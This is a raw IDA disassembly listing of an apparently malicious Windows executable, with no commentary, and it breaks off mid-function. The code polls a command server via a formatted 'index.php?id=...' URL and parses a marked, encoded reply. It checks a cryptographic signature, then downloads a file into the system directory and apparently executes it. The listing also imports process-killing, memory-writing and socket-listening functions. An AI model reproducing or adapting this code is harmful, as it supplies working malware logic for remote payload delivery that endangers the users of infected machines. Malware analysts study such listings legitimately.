;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	B60F286F9A58C7EA38D19EA8AB0AE102

; File Name   :	u:\work\b60f286f9a58c7ea38d19ea8ab0ae102_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	31420000
; Section 1. (virtual address 00001000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 00001000
; Flags	E0000080: Bss Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
UPX0		segment	para public 'CODE' use32
		assume cs:UPX0
		;org 31421000h
		assume es:nothing, ss:nothing, ds:UPX0,	fs:nothing, gs:nothing
dword_31421000	dd 77DDEAF4h	; resolved to->ADVAPI32.RegCreateKeyExAdword_31421004	dd 77DDEBE7h	; resolved to->ADVAPI32.RegSetValueExAdword_31421008	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_3142100C	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExA					; sub_31422882+1Dr
dword_31421010	dd 77DDEDE5h	; resolved to->ADVAPI32.RegDeleteValueAdword_31421014	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey					; sub_31422882+4Er ...
dword_31421018	dd 77E34D78h	; resolved to->ADVAPI32.AbortSystemShutdownAdword_3142101C	dd 77DEA2F9h	; resolved to->ADVAPI32.CryptCreateHashdword_31421020	dd 77DEA122h	; resolved to->ADVAPI32.CryptHashDatadword_31421024	dd 77DEAB80h	; resolved to->ADVAPI32.CryptVerifySignatureAdword_31421028	dd 77DEA254h	; resolved to->ADVAPI32.CryptDestroyHashdword_3142102C	dd 77DEA544h	; resolved to->ADVAPI32.CryptDestroyKeydword_31421030	dd 77DE8546h	; resolved to->ADVAPI32.CryptReleaseContextdword_31421034	dd 77DE7F96h	; resolved to->ADVAPI32.CryptAcquireContextAdword_31421038	dd 77DEA879h	; resolved to->ADVAPI32.CryptImportKey		align 10h
dword_31421040	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_31421044	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_31421048	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_3142104C	dd 7C80BAA1h	; resolved to->KERNEL32.lstrcmpiAdword_31421050	dd 7C8286EEh	; resolved to->KERNEL32.CopyFileAdword_31421054	dd 7C86136Dh	; resolved to->KERNEL32.WinExecdword_31421058	dd 7C864B0Fh	; resolved to->KERNEL32.CreateToolhelp32Snapshotdword_3142105C	dd 7C863DE5h	; resolved to->KERNEL32.Process32Firstdword_31421060	dd 7C801E16h	; resolved to->KERNEL32.TerminateProcessdword_31421064	dd 7C863F58h	; resolved to->KERNEL32.Process32Nextdword_31421068	dd 7C80BE01h	; resolved to->KERNEL32.lstrcpyA					; sub_31422B67+8Fr
dword_3142106C	dd 7C8308ADh	; resolved to->KERNEL32.CreateEventAdword_31421070	dd 7C802520h	; resolved to->KERNEL32.WaitForSingleObjectdword_31421074	dd 7C831EABh	; resolved to->KERNEL32.DeleteFileA					; sub_31422A9B+Fr
dword_31421078	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_3142107C	dd 7C809B47h	; resolved to->KERNEL32.CloseHandle					; sub_314211A0+F6r ...
dword_31421080	dd 7C801A24h	; resolved to->KERNEL32.CreateFileA					; sub_314221C4+57r
dword_31421084	dd 7C80BDB6h	; resolved to->KERNEL32.lstrlenA					; sub_31421422+64r ...
dword_31421088	dd 7C834D41h	; resolved to->KERNEL32.lstrcatA					; sub_31422A9B+40r
dword_3142108C	dd 7C814EEAh	; resolved to->KERNEL32.GetSystemDirectoryA					; sub_31422A9B+1Br
dword_31421090	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_31421094	dd 7C802442h	; resolved to->KERNEL32.Sleep					; sub_31421801+16Cr ...
dword_31421098	dd 7C80978Eh	; resolved to->KERNEL32.InterlockedExchangedword_3142109C	dd 7C810111h	; resolved to->KERNEL32.lstrcpynAdword_314210A0	dd 7C80DDF5h	; resolved to->KERNEL32.GetCurrentProcessdword_314210A4	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_31421DF0+2Cr
dword_314210A8	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryA					; sub_314223B2+116r
dword_314210AC	dd 7C80220Fh	; resolved to->KERNEL32.WriteProcessMemorydword_314210B0	dd 7C8309E1h	; resolved to->KERNEL32.OpenProcess					; sub_3142292E+92r
dword_314210B4	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA					; UPX0:31422336r
dword_314210B8	dd 7C80929Ch	; resolved to->KERNEL32.GetTickCountdword_314210BC	dd 7C80E93Fh	; resolved to->KERNEL32.CreateMutexAdword_314210C0	dd 7C810637h	; resolved to->KERNEL32.CreateThread					; sub_31421F52+12r
dword_314210C4	dd 7C802367h	; resolved to->KERNEL32.CreateProcessAdword_314210C8	dd 7C80A017h	; resolved to->KERNEL32.SetEventdword_314210CC	dd 7C81320Ch	; resolved to->KERNEL32.OpenEventAdword_314210D0	dd 7C80C058h	; resolved to->KERNEL32.ExitThread					; sub_314221C4+66r ...
dword_314210D4	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_314225C3+3Fr ...
dword_314210D8	dd 7C80180Eh	; resolved to->KERNEL32.ReadFiledword_314210DC	dd 7C810A77h	; resolved to->KERNEL32.GetFileSizedword_314210E0	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; sub_31422A9B+C3r
dword_314210E4	dd 7C910331h, 0	; resolved to->NTDLL.RtlGetLastWin32Errordword_314210EC	dd 77C371BCh	; resolved to->MSVCRT.sranddword_314210F0	dd 77C46F70h	; resolved to->MSVCRT.memcpydword_314210F4	dd 77C478A0h	; resolved to->MSVCRT.strlendword_314210F8	dd 77C475F0h	; resolved to->MSVCRT.memsetdword_314210FC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_31421F73:loc_31421F84r ...
; ---------------------------------------------------------------------------


loc_31421100:				; DATA XREF: UPX0:loc_31422CD0r
		xchg	eax, esp
		pop	esp
		retn
; ---------------------------------------------------------------------------
		db 77h
dword_31421104	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_3142207E:loc_314220AFr ...
dword_31421108	dd 77C47660h	; resolved to->MSVCRT.strchr					; sub_31421422+AAr
		align 10h
dword_31421110	dd 7E42DE87h	; resolved to->USER32.FindWindowAdword_31421114	dd 7E41BE4Bh	; resolved to->USER32.GetForegroundWindowdword_31421118	dd 7E418A80h	; resolved to->USER32.GetWindowThreadProcessIddword_3142111C	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; sub_314215C7+77r ...
		dd 0
dword_31421124	dd 42C30BFAh	; resolved to->WININET.InternetOpenUrlA					; sub_314215C7+9Dr
dword_31421128	dd 42C2C8A1h	; resolved to->WININET.InternetOpenA					; sub_314215C7+89r
dword_3142112C	dd 42C1DAC1h	; resolved to->WININET.InternetCloseHandledword_31421130	dd 42C367F6h	; resolved to->WININET.InternetGetConnectedState					; UPX0:314227A2r
dword_31421134	dd 42C2ABF4h	; resolved to->WININET.InternetReadFile					; sub_314215C7+B0r
		dd 0
dword_3142113C	dd 71AB664Dh	; resolved to->WS2_32.WSAStartupdword_31421140	dd 71AB3E00h	; resolved to->WS2_32.binddword_31421144	dd 71AB88D3h	; resolved to->WS2_32.listendword_31421148	dd 71AC1028h	; resolved to->WS2_32.acceptdword_3142114C	dd 71AB50C8h	; resolved to->WS2_32.gethostnamedword_31421150	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastErrordword_31421154	dd 71AB4FD4h	; resolved to->WS2_32.gethostbynamedword_31421158	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_314221C4+ACr
dword_3142115C	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa					; sub_31422712+Dr
dword_31421160	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_314221C4+F0r
dword_31421164	dd 71AB406Ah	; resolved to->WS2_32.connectdword_31421168	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_3142207E+67r ...
dword_3142116C	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_31421801+1D8r ...
dword_31421170	dd 71AC0BDEh	; resolved to->WS2_32.shutdown					; sub_3142207E+128r
dword_31421174	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_3142207E+12Fr
		align 10h
dword_31421180	dd 0FFFFFFFFh, 0		dd offset nullsub_1
		align 10h
dword_31421190	dd 0FFFFFFFFh, 0		dd offset nullsub_2
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314211A0	proc near		; CODE XREF: sub_31421422+16Dp

var_110		= byte ptr -110h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	1
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		mov	ebx, eax
		cmp	ebx, esi
		jnz	short loc_314211CB
		push	1
		jmp	loc_31421261
; ---------------------------------------------------------------------------


loc_314211CB:				; CODE XREF: sub_314211A0+22j
		lea	eax, [ebp+var_110]
		push	104h
		push	eax
		call	dword_3142108C	; GetSystemDirectoryA
		mov	edi, dword_31421088
		lea	eax, [ebp+var_110]
		push	offset dword_314241F8
		push	eax
		call	edi	; lstrcatA
		lea	eax, [ebp+var_110]
		push	6
		push	eax
		call	dword_31421084	; lstrlenA
		lea	eax, [ebp+eax+var_110]
		push	eax
		call	sub_31421F73
		pop	ecx
		lea	eax, [ebp+var_110]
		pop	ecx
		push	offset dword_314241F0
		push	eax
		call	edi	; lstrcatA
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_110]
		push	40000000h
		push	eax
		call	dword_31421080	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_31421241
		push	2
		jmp	short loc_31421261
; ---------------------------------------------------------------------------


loc_31421241:				; CODE XREF: sub_314211A0+9Bj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_0]
		push	ebx
		call	dword_31421124	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jnz	short loc_31421264
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		push	3


loc_31421261:				; CODE XREF: sub_314211A0+26j
					; sub_314211A0+9Fj
		pop	eax
		jmp	short loc_314212B5
; ---------------------------------------------------------------------------


loc_31421264:				; CODE XREF: sub_314211A0+B4j
		mov	edi, 100000h
		push	edi
		call	sub_31422CA5
		mov	ebx, eax
		pop	ecx
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		push	ebx
		push	[ebp+arg_0]
		call	dword_31421134	; InternetReadFile
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		push	[ebp+var_8]
		push	ebx
		push	[ebp+var_4]
		call	dword_31421078	; WriteFile
		push	[ebp+var_4]
		call	dword_3142107C	; CloseHandle
		lea	eax, [ebp+var_110]
		push	5
		push	eax
		call	sub_31421FA3
		push	ebx
		call	sub_31422CB9
		add	esp, 0Ch
		xor	eax, eax


loc_314212B5:				; CODE XREF: sub_314211A0+C2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314211A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_314212BA	proc near		; CODE XREF: sub_31421422+F8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		or	edi, 0FFFFFFFFh
		inc	eax
		push	0Fh
		lea	esi, [ecx+1]
		sub	edi, ecx
		pop	ecx


loc_314212D1:				; CODE XREF: sub_314212BA+56j
		mov	dl, [eax]
		mov	bl, [eax-1]
		add	edx, ecx
		add	bl, cl
		sar	edx, 4
		and	dl, 3
		sub	dl, [esp+0Ch+arg_8]
		shl	bl, 2
		or	dl, bl
		mov	[esi-1], dl
		mov	dl, [eax+1]
		mov	bl, [eax]
		dec	dl
		add	bl, cl
		and	dl, cl
		sub	dl, [esp+0Ch+arg_8]
		add	eax, 3
		shl	bl, 4
		and	bl, 0F0h
		or	dl, bl
		mov	[esi], dl
		inc	esi
		inc	esi
		lea	edx, [edi+esi]
		cmp	edx, 30h
		jl	short loc_314212D1
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_314212BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421316	proc near		; CODE XREF: sub_3142139B+27p

var_38		= byte ptr -38h
var_1C		= byte ptr -1Ch
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		push	6
		pop	ecx
		mov	esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
		lea	edi, [ebp+var_1C]
		push	6
		rep movsd
		movsw
		movsb
		pop	ecx
		mov	esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz"
		lea	edi, [ebp+var_38]
		mov	ebx, [ebp+arg_4]
		rep movsd
		movsw
		test	ebx, ebx
		movsb
		jge	short loc_31421349
		add	ebx, 1Ah


loc_31421349:				; CODE XREF: sub_31421316+2Ej
		movsx	edi, [ebp+arg_0]
		mov	esi, dword_31421108
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421373
		lea	ecx, [ebp+var_1C]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_1C]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------


loc_31421373:				; CODE XREF: sub_31421316+48j
		lea	eax, [ebp+var_38]
		push	edi
		push	eax
		call	esi	; strchr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_31421393
		lea	ecx, [ebp+var_38]
		push	1Ah
		sub	eax, ecx
		pop	ecx
		add	eax, ebx
		cdq
		idiv	ecx
		mov	al, [ebp+edx+var_38]
		jmp	short loc_31421396
; ---------------------------------------------------------------------------


loc_31421393:				; CODE XREF: sub_31421316+68j
		mov	al, [ebp+arg_0]


loc_31421396:				; CODE XREF: sub_31421316+5Bj
					; sub_31421316+7Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421316	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142139B	proc near		; CODE XREF: sub_31421422+D6p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	al, [eax]
		test	al, al
		jz	short loc_314213F8
		mov	edi, [ebp+arg_0]
		push	ebx


loc_314213B0:				; CODE XREF: sub_3142139B+58j
		sub	al, 2
		inc	[ebp+arg_4]
		mov	bl, al
		mov	eax, esi
		neg	eax
		mov	byte ptr [ebp+arg_0], bl
		push	eax
		push	[ebp+arg_0]
		call	sub_31421316
		mov	[edi], al
		pop	ecx
		inc	edi
		cmp	bl, 61h
		pop	ecx
		jl	short loc_314213DC
		cmp	bl, 7Ah
		jg	short loc_314213DC
		movsx	esi, bl
		sub	esi, 61h


loc_314213DC:				; CODE XREF: sub_3142139B+34j
					; sub_3142139B+39j
		cmp	bl, 41h
		jl	short loc_314213EC
		cmp	bl, 5Ah
		jg	short loc_314213EC
		movsx	esi, bl
		sub	esi, 41h


loc_314213EC:				; CODE XREF: sub_3142139B+44j
					; sub_3142139B+49j
		mov	eax, [ebp+arg_4]
		mov	al, [eax]
		test	al, al
		jnz	short loc_314213B0
		pop	ebx
		jmp	short loc_314213FB
; ---------------------------------------------------------------------------


loc_314213F8:				; CODE XREF: sub_3142139B+Fj
		mov	edi, [ebp+arg_0]


loc_314213FB:				; CODE XREF: sub_3142139B+5Bj
		and	byte ptr [edi],	0
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142139B	endp


; =============== S U B	R O U T	I N E =======================================



sub_31421402	proc near		; CODE XREF: sub_31421422+104p

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	ecx, ecx


loc_31421406:				; CODE XREF: sub_31421402+12j
		mov	edx, [esp+arg_0]
		movzx	edx, byte ptr [ecx+edx]
		add	eax, edx
		inc	ecx
		cmp	ecx, 30h
		jl	short loc_31421406
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, edx
		add	eax, 61h
		retn
sub_31421402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421422	proc near		; CODE XREF: sub_314215C7+BAp

var_174		= dword	ptr -174h
var_170		= byte ptr -170h
var_168		= byte ptr -168h
var_164		= byte ptr -164h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_11C		= byte ptr -11Ch
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_31421180
		push	offset loc_31422CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 164h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_128], 1
		and	[ebp+var_4], 0
		push	offset aZer0	; "zer0"
		push	[ebp+arg_0]
		call	dword_31421104	; strstr
		pop	ecx
		pop	ecx
		mov	edi, eax
		mov	[ebp+var_130], edi
		test	edi, edi
		jz	loc_314215A8
		add	edi, 4
		mov	[ebp+var_130], edi
		jz	loc_314215A8
		push	edi
		call	dword_31421084	; lstrlenA
		mov	[ebp+var_1C], eax
		cmp	eax, 50h
		jle	loc_314215A8
		and	byte ptr [edi+100h], 0
		mov	al, [edi]
		mov	[ebp+var_168], al
		movsx	ebx, al
		sub	ebx, 61h
		mov	[ebp+var_12C], ebx
		js	loc_314215A8
		cmp	ebx, 1Ah
		jge	loc_314215A8
		inc	edi
		mov	[ebp+var_130], edi
		push	7Eh
		push	edi
		call	dword_31421108	; strchr
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+var_134], esi
		test	esi, esi
		jz	loc_314215A8
		mov	al, [esi]
		mov	[ebp+var_170], al
		and	byte ptr [esi],	0
		push	ebx
		push	edi
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_3142139B
		mov	al, [ebp+var_170]
		mov	[esi], al
		inc	esi
		mov	[ebp+var_130], esi
		xor	edi, edi
		push	edi
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [esi+1]
		push	eax
		call	sub_314212BA
		lea	eax, [ebp+var_164]
		push	eax
		call	sub_31421402
		add	esp, 1Ch
		cmp	[esi], al
		jnz	short loc_314215A8
		push	44h
		push	offset dword_31424000
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142172F
		add	esp, 0Ch
		lea	eax, [ebp+var_174]
		push	eax
		push	30h
		lea	eax, [ebp+var_164]
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		call	dword_31421084	; lstrlenA
		push	eax
		lea	eax, [ebp+var_11C]
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142179A
		add	esp, 18h
		test	eax, eax
		jnz	short loc_3142159B
		cmp	[ebp+var_174], edi
		jz	short loc_3142159B
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_314211A0
		pop	ecx
		mov	[ebp+var_128], edi


loc_3142159B:				; CODE XREF: sub_31421422+15Cj
					; sub_31421422+164j
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_3142177E
		pop	ecx


loc_314215A8:				; CODE XREF: sub_31421422+4Ej
					; sub_31421422+5Dj ...
		or	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_1
		mov	eax, [ebp+var_128]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_31421422	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_314215C7	proc near		; CODE XREF: sub_314216A2+2Ap

var_E8		= byte ptr -0E8h
var_84		= byte ptr -84h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0E8h
		push	ebx
		push	esi
		push	edi
		push	4000h
		call	sub_31422CA5
		pop	ecx
		mov	esi, eax
		lea	eax, [ebp+var_E8]
		push	63h
		push	eax
		push	7
		push	400h
		call	dword_31421090	; GetLocaleInfoA
		xor	ebx, ebx
		cmp	byte ptr [ebp+arg_4], bl
		jz	short loc_3142162F
		lea	eax, [ebp+var_E8]
		push	eax
		lea	eax, [ebp+var_84]
		push	dword_31424FEC
		push	dword_31425004
		push	offset aFgnsdrjyrsert ;	"fgnsdrjyrsert"
		push	[ebp+arg_0]
		push	offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"...
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 1Ch
		jmp	short loc_31421647
; ---------------------------------------------------------------------------


loc_3142162F:				; CODE XREF: sub_314215C7+34j
		push	[ebp+arg_0]
		lea	eax, [ebp+var_84]
		push	offset aHttpS	; "http://%s"
		push	eax
		call	dword_3142111C	; wsprintfA
		add	esp, 0Ch


loc_31421647:				; CODE XREF: sub_314215C7+66j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE	6.0; Wind"...
		call	dword_31421128	; InternetOpenA
		push	ebx
		mov	edi, eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_84]
		push	ebx
		push	eax
		push	edi
		call	dword_31421124	; InternetOpenUrlA
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	2000h
		push	esi
		push	ebx
		call	dword_31421134	; InternetReadFile
		push	esi
		mov	[ebp+arg_4], eax
		call	sub_31421422
		push	esi
		call	sub_31422CB9
		mov	esi, dword_3142112C
		pop	ecx
		pop	ecx
		push	ebx
		call	esi	; InternetCloseHandle
		push	edi
		call	esi	; InternetCloseHandle
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_314215C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_314216A2	proc near		; DATA XREF: sub_314223B2+15Bo
		push	ebx
		mov	ebx, dword_31421098
		push	esi
		push	edi


loc_314216AB:				; CODE XREF: sub_314216A2+88j
		xor	esi, esi
		mov	edi, 46021h


loc_314216B2:				; CODE XREF: sub_314216A2+86j
		inc	esi
		inc	esi
		call	sub_31422038
		test	eax, eax
		jz	short loc_314216FC
		mov	al, byte_31424080[esi+esi*4]
		push	eax
		push	off_31424081[esi+esi*4]
		call	sub_314215C7
		or	eax, edi
		pop	ecx
		xor	eax, 8064h
		pop	ecx
		shl	eax, 3
		mov	edi, eax
		xor	eax, 228h
		test	ax, 0FFFFh
		jnz	short loc_314216FC
		push	0
		push	offset dword_31425004
		call	ebx	; InterlockedExchange
		push	0
		push	offset dword_31424FEC
		call	ebx	; InterlockedExchange


loc_314216FC:				; CODE XREF: sub_314216A2+19j
					; sub_314216A2+46j
		call	dword_314210FC	; rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		add	esi, edx
		call	sub_31422068
		xor	edx, edx
		mov	ecx, 493E0h
		div	ecx
		add	edx, 61B48h
		push	edx
		call	dword_31421094	; Sleep
		cmp	esi, 16h
		jb	short loc_314216B2
		jmp	loc_314216AB
sub_314216A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142172F	proc near		; CODE XREF: sub_31421422+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, dword_31421034
		push	edi
		xor	edi, edi
		push	edi
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	8
		push	1
		push	edi
		push	edi
		push	ebx
		call	esi	; CryptAcquireContextA
		test	eax, eax
		jnz	short loc_3142175C
		push	1
		pop	eax
		jmp	short loc_3142177A
; ---------------------------------------------------------------------------


loc_3142175C:				; CODE XREF: sub_3142172F+19j
					; sub_3142172F+26j
		lea	eax, [ebx+4]
		push	eax
		push	edi
		push	edi
		push	[esp+18h+arg_8]
		push	[esp+1Ch+arg_4]
		push	dword ptr [ebx]
		call	dword_31421038	; CryptImportKey
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax


loc_3142177A:				; CODE XREF: sub_3142172F+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3142172F	endp


; =============== S U B	R O U T	I N E =======================================



sub_3142177E	proc near		; CODE XREF: sub_31421422+180p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+4]
		call	dword_3142102C	; CryptDestroyKey
		push	0
		push	dword ptr [esi]
		call	dword_31421030	; CryptReleaseContext
		xor	eax, eax
		pop	esi
		retn
sub_3142177E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3142179A	proc near		; CODE XREF: sub_31421422+152p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_0]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	8003h
		push	dword ptr [esi]
		call	dword_3142101C	; CryptCreateHash
		test	eax, eax
		jnz	short loc_314217C0
		push	1
		pop	eax
		jmp	short loc_314217FD
; ---------------------------------------------------------------------------


loc_314217C0:				; CODE XREF: sub_3142179A+1Fj
		push	edi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_31421020	; CryptHashData
		test	eax, eax
		jnz	short loc_314217D9
		push	2
		pop	edi
		jmp	short loc_314217F2
; ---------------------------------------------------------------------------


loc_314217D9:				; CODE XREF: sub_3142179A+38j
		push	edi
		push	edi
		push	dword ptr [esi+4]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	dword_31421024	; CryptVerifySignatureA
		mov	ecx, [ebp+arg_14]
		mov	[ecx], eax


loc_314217F2:				; CODE XREF: sub_3142179A+3Dj
		push	[ebp+arg_0]
		call	dword_31421028	; CryptDestroyHash
		mov	eax, edi


loc_314217FD:				; CODE XREF: sub_3142179A+24j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_3142179A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_31421801	proc near		; CODE XREF: sub_3142255F+36p
					; sub_314225C3+48p ...

var_89E4	= byte ptr -89E4h
var_897C	= byte ptr -897Ch
var_690C	= byte ptr -690Ch
var_689C	= byte ptr -689Ch
var_5DD8	= byte ptr -5DD8h
var_4834	= byte ptr -4834h
var_4833	= byte ptr -4833h
var_37A0	= byte ptr -37A0h
var_2CDC	= byte ptr -2CDCh
var_2CDB	= byte ptr -2CDBh
var_2CD8	= byte ptr -2CD8h
var_24F4	= byte ptr -24F4h
var_24E4	= byte ptr -24E4h
var_21C0	= byte ptr -21C0h
var_21BC	= byte ptr -21BCh
var_21B0	= byte ptr -21B0h
var_1F28	= byte ptr -1F28h
var_1EAC	= byte ptr -1EACh
var_16DC	= byte ptr -16DCh
var_1231	= byte ptr -1231h
var_F44		= byte ptr -0F44h
var_EA4		= byte ptr -0EA4h
var_798		= dword	ptr -798h
var_788		= byte ptr -788h
var_774		= byte ptr -774h
var_730		= byte ptr -730h
var_134		= byte ptr -134h
var_133		= byte ptr -133h
var_E4		= byte ptr -0E4h
var_E1		= byte ptr -0E1h
var_B7		= byte ptr -0B7h
var_B5		= byte ptr -0B5h
var_B4		= byte ptr -0B4h
var_6C		= byte ptr -6Ch
var_4C		= byte ptr -4Ch
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 89E4h
		call	sub_31422CF0
		mov	eax, dword_31424C84
		push	ebx
		push	edi
		push	1
